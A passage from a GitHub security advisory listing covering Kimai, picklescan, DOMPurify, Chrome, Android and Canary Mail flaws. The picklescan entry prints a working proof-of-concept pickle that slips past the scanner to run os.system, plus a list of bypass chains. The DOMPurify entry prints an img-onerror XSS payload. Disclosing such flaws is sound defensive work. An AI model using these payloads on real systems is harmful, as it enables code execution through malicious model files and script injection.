  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T18:42:30Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nKimai\u0027s Twig sandbox (`StrictPolicy`, used for admin-uploaded invoice and export templates) allow-lists the `config()` Twig function with no key filtering. `config(name)` delegates to `App\\Configuration\\SystemConfiguration::find($name)`, which returns arbitrary entries from the flattened `kimai.config` container parameter built in `App\\DependencyInjection\\AppExtension::loadInternal()`. Any admin who can upload a Twig template can therefore render server-wide secrets - the LDAP bind password, the SAML SP private key, and any other dotted configuration key populated from `kimai.yaml` - into the invoice or export output, which is then delivered to whoever generates an invoice or export from that template (including lower-privileged users such as teamleads with invoice permissions). This is a second, uncovered class of the same defense-in-depth issue patched in GHSA-rh42-6rj2-xwmc: the previous fix added a User-method blocklist but left the `config()` function unrestricted.\n\n### Details\n\n`src/Twig/SecurityPolicy/StrictPolicy.php:40-55` explicitly allow-lists `\u0027config\u0027`:\n\n```php\nprivate array $allowedFunctions = [\n    \u0027max\u0027, \u0027min\u0027, \u0027range\u0027, \u0027constant\u0027, \u0027cycle\u0027, \u0027random\u0027, \u0027date\u0027,\n    \u0027t\u0027,\n    \u0027encore_entry_css_source\u0027, \u0027encore_entry_link_tags\u0027, \u0027encore_entry_script_tags\u0027,\n    \u0027is_granted\u0027,\n    \u0027qr_code_data_uri\u0027,\n    \u0027config\u0027,                       // \u003c-- sink, no key filter\n    \u0027create_date\u0027, \u0027month_names\u0027, \u0027locale_format\u0027,\n    \u0027class_name\u0027\n];\n```\n\n`src/Twig/Configuration.php:22-45` is the Twig function implementation:\n\n```php\npublic function getFunctions(): array\n{\n    return [new TwigFunction(\u0027config\u0027, [$this, \u0027get\u0027])];\n}\n\npublic function get(string $name)\n{\n    switch ($name) {\n        case \u0027chart-class\u0027:                     return \u0027\u0027;\n        case \u0027theme.chart.background_color\u0027:    return \u0027#3c8dbc\u0027;\n        // ... 4 more theme constants\n    }\n    return $this-\u003econfiguration-\u003efind($name);   // \u003c-- arbitrary key lookup\n}\n```\n\n`App\\Configuration\\SystemConfiguration::find()` at `src/Configuration/SystemConfiguration.php:54-62` is a direct dictionary lookup. The dictionary `$this-\u003esettings` is initialised from the `kimai.config` container parameter, which the `AppExtension` flattens from `kimai.yaml` into dotted-notation keys.\n```\n\nThe LDAP and SAML schemas declared in `src/DependencyInjection/Configuration.php` define secret-valued scalar nodes that survive the flattening and become reachable keys:\n\n```php\n// getLdapNode()\n-\u003earrayNode(\u0027connection\u0027)\n    -\u003echildren()\n        -\u003escalarNode(\u0027host\u0027)-\u003edefaultNull()-\u003eend()\n        -\u003escalarNode(\u0027username\u0027)-\u003eend()\n        -\u003escalarNode(\u0027password\u0027)-\u003eend()       // -\u003e settings[\u0027ldap.connection.password\u0027]\n        ...\n\n// getSamlNode()\n-\u003earrayNode(\u0027sp\u0027)\n    -\u003echildren()\n        -\u003escalarNode(\u0027x509cert\u0027)-\u003eend()\n        -\u003escalarNode(\u0027privateKey\u0027)-\u003eend()     // -\u003e settings[\u0027saml.connection.sp.privateKey\u0027]\n        ...\n```\n\nThe invoice and export renderers both enable the sandbox against `StrictPolicy` and pass the shared Twig environment - the one with the `config` function registered - into sandboxed rendering: `src/Invoice/Renderer/AbstractTwigRenderer.php:66-74` and `src/Export/Base/{PDFRenderer,HtmlRenderer}.php`. An admin who uploads a malicious invoice or export template therefore gets an unrestricted read primitive against `kimai.config`.\n\nIn a real deployment the attacker template is uploaded through the admin UI (ROLE_SUPER_ADMIN, permission `upload_invoice_template`), saved by `src/Invoice/InvoiceTemplate*` and later rendered by whoever generates an invoice or export for that template. The rendering user is typically a teamlead or admin with invoice permission (`INVOICE` permission set: `[\u0027view_invoice\u0027,\u0027create_invoice\u0027,\u0027manage_invoice_template\u0027]`, granted to ROLE_ADMIN and ROLE_TEAMLEAD in `config/packages/kimai.yaml`). The rendered output is returned as the invoice PDF/HTML or as a CSV/XLSX export, so the secrets land in a document that is routinely downloaded and emailed.\n\n### Impact\n\nAny Kimai deployment that (a) has SAML or LDAP configured in `kimai.yaml`, and (b) has at least one user (other than the current SUPER_ADMIN) who will render a template-based invoice or export in the future, is affected. A malicious or compromised SUPER_ADMIN can upload a template once, leave, and subsequent invoice or export generations by teamleads or other admins silently exfiltrate `ldap.connection.password`, `saml.connection.sp.privateKey`, `saml.connection.sp.x509cert`, and any other dotted configuration key into an attacker-readable artifact. The LDAP bind password gives domain-credential access to the company directory and often to every downstream system that trusts the same directory; the SAML SP private key allows an attacker to forge signed SAML assertions to any service provider that trusts the same key pair. This is the same class of defense-in-depth leak that GHSA-rh42-6rj2-xwmc patched for user-level secrets, at a broader impact because the keys leaked here are system-wide rather than per-user, and the current StrictPolicy does not intercept the `config()` call path. \n\n### Solution\n\nThe `config()` function was patched to only return a pre-configured list of settings in sandboxed mode. \n\nAdditional checks were added to prevent access to configs that start with `saml.` or `ldap.`.\n\nKimai will not issue a CVE, because this requires a SUPER_ADMIN account and it only affects system with activated LDAP or SAML, which also uses the invoice system.",
  "id": "GHSA-vrqv-52x7-rm4v",
  "modified": "2026-05-06T18:42:30Z",
  "published": "2026-05-06T18:42:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-vrqv-52x7-rm4v"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Kimai\u0027s Twig function config() leaks server-wide secrets (LDAP bind password, SAML SP private key) via invoice/export templates"
}

GHSA-VVPJ-8CMC-GX39

Vulnerability from github – Published: 2026-03-03 20:04 – Updated: 2026-06-18 14:45

Summary

PickleScan's pkgutil.resolve_name has a universal blocklist bypass

Details

Summary

pkgutil.resolve_name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve_name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve_name (which is not blocked) and misses the actual dangerous function entirely.

This defeats picklescan's entire blocklist concept — every single entry in _unsafe_globals can be bypassed.

Severity

Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.

Affected Versions

picklescan <= 1.0.3 (all versions including latest)

Details

How It Works

A pickle file uses two chained REDUCE calls:

1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE

picklescan's opcode scanner sees: - STACK_GLOBAL with module=pkgutil, name=resolve_name → NOT in blocklist → CLEAN - The second REDUCE operates on a stack value (the return of the first call), not on a global import → invisible to scanner

The string "os:system" is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.

Decompiled Pickle (what the data actually does)

from pkgutil import resolve_name
_var0 = resolve_name('os:system')          # Returns the actual os.system function
_var1 = _var0('malicious_command')          # Calls os.system('malicious_command')
result = _var1

Confirmed Bypass Targets

Every entry in picklescan's blocklist can be reached via resolve_name:

Chain	Resolves To	Confirmed RCE	picklescan Result
`resolve_name("os:system")`	`os.system`	YES	CLEAN
`resolve_name("builtins:exec")`	`builtins.exec`	YES	CLEAN
`resolve_name("builtins:eval")`	`builtins.eval`	YES	CLEAN
`resolve_name("subprocess:getoutput")`	`subprocess.getoutput`	YES	CLEAN
`resolve_name("subprocess:getstatusoutput")`	`subprocess.getstatusoutput`	YES	CLEAN
`resolve_name("subprocess:call")`	`subprocess.call`	YES (shell=True needed)	CLEAN
`resolve_name("subprocess:check_call")`	`subprocess.check_call`	YES (shell=True needed)	CLEAN
`resolve_name("subprocess:check_output")`	`subprocess.check_output`	YES (shell=True needed)	CLEAN
`resolve_name("posix:system")`	`posix.system`	YES	CLEAN
`resolve_name("cProfile:run")`	`cProfile.run`	YES	CLEAN
`resolve_name("profile:run")`	`profile.run`	YES	CLEAN
`resolve_name("pty:spawn")`	`pty.spawn`	YES	CLEAN

Total: 11+ confirmed RCE chains, all reporting CLEAN.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# resolve_name("os:system")("id")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("pkgutil") + sbu("resolve_name") + b"\x93"  # STACK_GLOBAL
    + sbu("os:system") + b"\x85" + b"R"                # REDUCE: resolve_name("os:system")
    + sbu("id") + b"\x85" + b"R"                       # REDUCE: os.system("id")
    + b"."                                               # STOP
)

# picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs os.system("id") → RCE
pickle.loads(payload)

Why `pkgutil` Is Not Blocked

picklescan's _unsafe_globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary purpose is module/package resolution. However, resolve_name() can resolve ANY attribute from ANY module, making it a universal gadget.

Note: fickling DOES block pkgutil in its UNSAFE_IMPORTS list.

Impact

This is a complete bypass of picklescan's security model. The entire blocklist — every module and function entry in _unsafe_globals — is rendered ineffective. An attacker needs only use pkgutil.resolve_name as an indirection layer to call any Python function.

This affects: - HuggingFace Hub (uses picklescan) - Any ML pipeline using picklescan for safety validation - Any system relying on picklescan's blocklist to prevent malicious pickle execution

Suggested Fix

Immediate: Add pkgutil to _unsafe_globals: python "pkgutil": {"resolve_name"},
Also block similar resolution functions: python "importlib": "*", "importlib.util": "*",
Architectural: The blocklist approach cannot defend against indirect resolution gadgets. Even blocking pkgutil, an attacker could find other stdlib functions that resolve module attributes. Consider:
Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching "module:function")
Treating unknown globals as dangerous by default
Switching to an allowlist model

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-3490"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T20:04:20Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`pkgutil.resolve_name()` is a Python stdlib function that resolves any `\"module:attribute\"` string to the corresponding Python object at runtime. By using `pkgutil.resolve_name` as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., `os.system`, `builtins.exec`, `subprocess.call`) without that function appearing in the pickle\u0027s opcodes. picklescan only sees `pkgutil.resolve_name` (which is not blocked) and misses the actual dangerous function entirely.\n\nThis defeats picklescan\u0027s **entire blocklist concept** \u2014 every single entry in `_unsafe_globals` can be bypassed.\n\n## Severity\n\n**Critical** (CVSS 10.0) \u2014 Universal bypass of all blocklist entries. Any blocked function can be invoked.\n\n## Affected Versions\n\n- picklescan \u003c= 1.0.3 (all versions including latest)\n\n## Details\n\n### How It Works\n\nA pickle file uses two chained REDUCE calls:\n\n```\n1. STACK_GLOBAL: push pkgutil.resolve_name\n2. REDUCE: call resolve_name(\"os:system\") \u2192 returns os.system function object\n3. REDUCE: call the returned function(\"malicious command\") \u2192 RCE\n```\n\npicklescan\u0027s opcode scanner sees:\n- `STACK_GLOBAL` with module=`pkgutil`, name=`resolve_name` \u2192 **NOT in blocklist** \u2192 CLEAN\n- The second `REDUCE` operates on a stack value (the return of the first call), not on a global import \u2192 **invisible to scanner**\n\nThe string `\"os:system\"` is just data (a SHORT_BINUNICODE argument to the first REDUCE) \u2014 picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.\n\n### Decompiled Pickle (what the data actually does)\n\n```python\nfrom pkgutil import resolve_name\n_var0 = resolve_name(\u0027os:system\u0027)          # Returns the actual os.system function\n_var1 = _var0(\u0027malicious_command\u0027)          # Calls os.system(\u0027malicious_command\u0027)\nresult = _var1\n```\n\n### Confirmed Bypass Targets\n\nEvery entry in picklescan\u0027s blocklist can be reached via resolve_name:\n\n| Chain | Resolves To | Confirmed RCE | picklescan Result |\n|-------|------------|---------------|-------------------|\n| `resolve_name(\"os:system\")` | `os.system` | YES | CLEAN |\n| `resolve_name(\"builtins:exec\")` | `builtins.exec` | YES | CLEAN |\n| `resolve_name(\"builtins:eval\")` | `builtins.eval` | YES | CLEAN |\n| `resolve_name(\"subprocess:getoutput\")` | `subprocess.getoutput` | YES | CLEAN |\n| `resolve_name(\"subprocess:getstatusoutput\")` | `subprocess.getstatusoutput` | YES | CLEAN |\n| `resolve_name(\"subprocess:call\")` | `subprocess.call` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"subprocess:check_call\")` | `subprocess.check_call` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"subprocess:check_output\")` | `subprocess.check_output` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"posix:system\")` | `posix.system` | YES | CLEAN |\n| `resolve_name(\"cProfile:run\")` | `cProfile.run` | YES | CLEAN |\n| `resolve_name(\"profile:run\")` | `profile.run` | YES | CLEAN |\n| `resolve_name(\"pty:spawn\")` | `pty.spawn` | YES | CLEAN |\n\n**Total:** 11+ confirmed RCE chains, all reporting CLEAN.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# resolve_name(\"os:system\")(\"id\")\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 55)\n    + sbu(\"pkgutil\") + sbu(\"resolve_name\") + b\"\\x93\"  # STACK_GLOBAL\n    + sbu(\"os:system\") + b\"\\x85\" + b\"R\"                # REDUCE: resolve_name(\"os:system\")\n    + sbu(\"id\") + b\"\\x85\" + b\"R\"                       # REDUCE: os.system(\"id\")\n    + b\".\"                                               # STOP\n)\n\n# picklescan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN!\n\n# Execute: runs os.system(\"id\") \u2192 RCE\npickle.loads(payload)\n```\n\n### Why `pkgutil` Is Not Blocked\n\npicklescan\u0027s `_unsafe_globals` (v1.0.3) does not include `pkgutil`. The module is a standard import utility \u2014 its primary purpose is module/package resolution. However, `resolve_name()` can resolve ANY attribute from ANY module, making it a universal gadget.\n\n**Note:** fickling DOES block `pkgutil` in its `UNSAFE_IMPORTS` list.\n\n## Impact\n\nThis is a **complete bypass** of picklescan\u0027s security model. The entire blocklist \u2014 every module and function entry in `_unsafe_globals` \u2014 is rendered ineffective. An attacker needs only use `pkgutil.resolve_name` as an indirection layer to call any Python function.\n\nThis affects:\n- HuggingFace Hub (uses picklescan)\n- Any ML pipeline using picklescan for safety validation\n- Any system relying on picklescan\u0027s blocklist to prevent malicious pickle execution\n\n## Suggested Fix\n\n1. **Immediate:** Add `pkgutil` to `_unsafe_globals`:\n   ```python\n   \"pkgutil\": {\"resolve_name\"},\n   ```\n\n2. **Also block similar resolution functions:**\n   ```python\n   \"importlib\": \"*\",\n   \"importlib.util\": \"*\",\n   ```\n\n3. **Architectural:** The blocklist approach cannot defend against indirect resolution gadgets. Even blocking `pkgutil`, an attacker could find other stdlib functions that resolve module attributes. Consider:\n   - Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching `\"module:function\"`)\n   - Treating unknown globals as dangerous by default\n   - Switching to an allowlist model",
  "id": "GHSA-vvpj-8cmc-gx39",
  "modified": "2026-06-18T14:45:31Z",
  "published": "2026-03-03T20:04:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vvpj-8cmc-gx39"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3490"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-universal-blocklist-bypass-via-pkgutil-resolve-name"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PickleScan\u0027s pkgutil.resolve_name has a universal blocklist bypass"
}

GHSA-VWQH-759F-P74P

Vulnerability from github – Published: 2025-09-05 18:31 – Updated: 2025-09-05 21:32

Details

In parseHtml of HtmlToSpannedParser.java, there is a possible way to install apps without allowing installation from unknown sources due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.

Severity

7.3 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-26443"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-04T18:15:43Z",
    "severity": "HIGH"
  },
  "details": "In parseHtml of HtmlToSpannedParser.java, there is a possible way to install apps without allowing installation from unknown sources due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
  "id": "GHSA-vwqh-759f-p74p",
  "modified": "2025-09-05T21:32:36Z",
  "published": "2025-09-05T18:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26443"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/packages/apps/ManagedProvisioning/+/69a363847696f6f79f81038cad03c7950bc82054"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-06-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VXR8-FQ34-VVX9

Vulnerability from github – Published: 2026-06-15 20:12 – Updated: 2026-06-15 20:12

Summary

DOMPurify: Trusted Types policy survives `clearConfig()` and can poison later `RETURN_TRUSTED_TYPE` output

Details

Impact

A DOMPurify instance that is reused across trust boundaries can stay bound to a previously supplied TRUSTED_TYPES_POLICY even after clearConfig() is called. A later caller that requests RETURN_TRUSTED_TYPE receives a TrustedHTML object created by the old policy, not by a clean default configuration.

If the old policy is unsafe or controlled by a less-trusted integration, this turns a later "default" sanitize call into script execution at a Trusted Types sink. TRUSTED_TYPES_POLICY: null on the later call also does not clear the retained policy. dompurify-trusted-types-policy-survives-clearconfig-poc.js

Affected version

Tested against DOMPurify 3.4.8, repository commit 825e617753ac1169306a542d3174a77f717a0cf6.

Root cause

_parseConfig() overwrites trustedTypesPolicy when cfg.TRUSTED_TYPES_POLICY is truthy, but the default/null path only initializes the internal policy when trustedTypesPolicy === undefined. Once a custom policy has been set, later default config parsing leaves it in place.

Relevant code:

src/purify.ts:786-812 accepts and stores cfg.TRUSTED_TYPES_POLICY.
src/purify.ts:813-832 does not reset an existing policy when config has no policy or has TRUSTED_TYPES_POLICY: null.
src/purify.ts:2123-2125 signs the final serialized HTML with the retained policy when RETURN_TRUSTED_TYPE is true.
src/purify.ts:2133-2136 clearConfig() only clears CONFIG and SET_CONFIG; it does not reset trustedTypesPolicy or emptyHTML.

Local PoC

Run from the DOMPurify checkout, or set DOMPURIFY_REPO:

node /home/dompurify-trusted-types-policy-survives-clearconfig-poc.js

Observed output:

{
  "result": {
    "baseline": "<b>baseline</b>",
    "duringPolicy": "<img src=x onerror=alert(\"TT_POLICY_SURVIVED_CLEARCONFIG\")>",
    "afterClearString": "<img src=\"x\">",
    "afterClearTrustedType": "[object TrustedHTML]",
    "afterClearTrusted": "<img src=x onerror=alert(\"TT_POLICY_SURVIVED_CLEARCONFIG\")>",
    "afterNullTrusted": "<img src=x onerror=alert(\"TT_POLICY_SURVIVED_CLEARCONFIG\")>",
    "mountedHTML": "<img src=\"x\" onerror=\"alert(&quot;TT_POLICY_SURVIVED_CLEARCONFIG&quot;)\">"
  },
  "dialogs": [
    "TT_POLICY_SURVIVED_CLEARCONFIG"
  ]
}

The important part is the split behavior after cleanup:

purify.clearConfig(); purify.sanitize(...); returns a normal sanitized string (<img src="x">), because the later call is not asking for a Trusted Type.
purify.clearConfig(); purify.sanitize(..., { RETURN_TRUSTED_TYPE: true }); still uses the old policy and returns attacker-controlled TrustedHTML.
Passing { TRUSTED_TYPES_POLICY: null, RETURN_TRUSTED_TYPE: true } also still returns attacker-controlled TrustedHTML.

Preconditions

This is a shared-instance state contamination issue. It matters when one DOMPurify instance is reused by multiple integrations, plugins, request handlers, or components with different trust levels, and a cleanup step relies on clearConfig() to restore safe defaults.

This is not a default string-input bypass. An attacker must be able to influence a prior TRUSTED_TYPES_POLICY on the reused instance, or a less-trusted integration must have installed an unsafe policy.

Severity

impact is XSS at a Trusted Types sink in applications that reuse a DOMPurify instance across trust boundaries. Attack complexity is high because exploitation depends on prior policy injection or a less-trusted integration and a later RETURN_TRUSTED_TYPE sink.

Suggested fix

Make clearConfig() reset Trusted Types state as part of restoring defaults, or have _parseConfig() explicitly clear trustedTypesPolicy and emptyHTML when TRUSTED_TYPES_POLICY: null is supplied.

Severity

2.1 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T20:12:53Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Impact\n\nA DOMPurify instance that is reused across trust boundaries can stay bound to a previously supplied `TRUSTED_TYPES_POLICY` even after `clearConfig()` is called. A later caller that requests `RETURN_TRUSTED_TYPE` receives a `TrustedHTML` object created by the old policy, not by a clean default configuration.\n\nIf the old policy is unsafe or controlled by a less-trusted integration, this turns a later \"default\" sanitize call into script execution at a Trusted Types sink. `TRUSTED_TYPES_POLICY: null` on the later call also does not clear the retained policy.\n[dompurify-trusted-types-policy-survives-clearconfig-poc.js](https://github.com/user-attachments/files/28604913/dompurify-trusted-types-policy-survives-clearconfig-poc.js)\n\n\n## Affected version\n\nTested against DOMPurify `3.4.8`, repository commit `825e617753ac1169306a542d3174a77f717a0cf6`.\n\n## Root cause\n\n`_parseConfig()` overwrites `trustedTypesPolicy` when `cfg.TRUSTED_TYPES_POLICY` is truthy, but the default/null path only initializes the internal policy when `trustedTypesPolicy === undefined`. Once a custom policy has been set, later default config parsing leaves it in place.\n\nRelevant code:\n\n- `src/purify.ts:786-812` accepts and stores `cfg.TRUSTED_TYPES_POLICY`.\n- `src/purify.ts:813-832` does not reset an existing policy when config has no policy or has `TRUSTED_TYPES_POLICY: null`.\n- `src/purify.ts:2123-2125` signs the final serialized HTML with the retained policy when `RETURN_TRUSTED_TYPE` is true.\n- `src/purify.ts:2133-2136` `clearConfig()` only clears `CONFIG` and `SET_CONFIG`; it does not reset `trustedTypesPolicy` or `emptyHTML`.\n\n## Local PoC\n\nRun from the DOMPurify checkout, or set `DOMPURIFY_REPO`:\n\n```bash\nnode /home/dompurify-trusted-types-policy-survives-clearconfig-poc.js\n```\n\nObserved output:\n\n```json\n{\n  \"result\": {\n    \"baseline\": \"\u003cb\u003ebaseline\u003c/b\u003e\",\n    \"duringPolicy\": \"\u003cimg src=x onerror=alert(\\\"TT_POLICY_SURVIVED_CLEARCONFIG\\\")\u003e\",\n    \"afterClearString\": \"\u003cimg src=\\\"x\\\"\u003e\",\n    \"afterClearTrustedType\": \"[object TrustedHTML]\",\n    \"afterClearTrusted\": \"\u003cimg src=x onerror=alert(\\\"TT_POLICY_SURVIVED_CLEARCONFIG\\\")\u003e\",\n    \"afterNullTrusted\": \"\u003cimg src=x onerror=alert(\\\"TT_POLICY_SURVIVED_CLEARCONFIG\\\")\u003e\",\n    \"mountedHTML\": \"\u003cimg src=\\\"x\\\" onerror=\\\"alert(\u0026quot;TT_POLICY_SURVIVED_CLEARCONFIG\u0026quot;)\\\"\u003e\"\n  },\n  \"dialogs\": [\n    \"TT_POLICY_SURVIVED_CLEARCONFIG\"\n  ]\n}\n```\n\nThe important part is the split behavior after cleanup:\n\n- `purify.clearConfig(); purify.sanitize(...);` returns a normal sanitized string (`\u003cimg src=\"x\"\u003e`), because the later call is not asking for a Trusted Type.\n- `purify.clearConfig(); purify.sanitize(..., { RETURN_TRUSTED_TYPE: true });` still uses the old policy and returns attacker-controlled `TrustedHTML`.\n- Passing `{ TRUSTED_TYPES_POLICY: null, RETURN_TRUSTED_TYPE: true }` also still returns attacker-controlled `TrustedHTML`.\n\n## Preconditions\n\nThis is a shared-instance state contamination issue. It matters when one DOMPurify instance is reused by multiple integrations, plugins, request handlers, or components with different trust levels, and a cleanup step relies on `clearConfig()` to restore safe defaults.\n\nThis is not a default string-input bypass. An attacker must be able to influence a prior `TRUSTED_TYPES_POLICY` on the reused instance, or a less-trusted integration must have installed an unsafe policy.\n\n## Severity\n\n impact is XSS at a Trusted Types sink in applications that reuse a DOMPurify instance across trust boundaries. Attack complexity is high because exploitation depends on prior policy injection or a less-trusted integration and a later `RETURN_TRUSTED_TYPE` sink.\n\n## Suggested fix\n\nMake `clearConfig()` reset Trusted Types state as part of restoring defaults, or have `_parseConfig()` explicitly clear `trustedTypesPolicy` and `emptyHTML` when `TRUSTED_TYPES_POLICY: null` is supplied.",
  "id": "GHSA-vxr8-fq34-vvx9",
  "modified": "2026-06-15T20:12:53Z",
  "published": "2026-06-15T20:12:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-vxr8-fq34-vvx9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify: Trusted Types policy survives `clearConfig()` and can poison later `RETURN_TRUSTED_TYPE` output"
}

GHSA-W2MW-J4JJ-C949

Vulnerability from github – Published: 2026-06-12 00:31 – Updated: 2026-06-12 03:31

Details

Inappropriate implementation in Views in Google Chrome on Windows prior to 149.0.7827.115 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

Severity

8.3 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-12031"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-11T22:16:55Z",
    "severity": "HIGH"
  },
  "details": "Inappropriate implementation in Views in Google Chrome on Windows prior to 149.0.7827.115 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-w2mw-j4jj-c949",
  "modified": "2026-06-12T03:31:28Z",
  "published": "2026-06-12T00:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12031"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_01962725236.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/518045638"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W2R9-W6FR-CQ88

Vulnerability from github – Published: 2025-12-16 18:31 – Updated: 2025-12-17 21:30

Details

When using the attachment interaction functionality, Canary Mail 5.1.40 and below saves documents to a file system without a Mark-of-the-Web tag, which allows attackers to bypass the built-in file protection mechanisms of both Windows OS and third-party software.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-65318"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-16T16:15:59Z",
    "severity": "CRITICAL"
  },
  "details": "When using the attachment interaction functionality, Canary Mail 5.1.40 and below saves documents to a file system without a Mark-of-the-Web tag, which allows attackers to bypass the built-in file protection mechanisms of both Windows OS and third-party software.",
  "id": "GHSA-w2r9-w6fr-cq88",
  "modified": "2025-12-17T21:30:45Z",
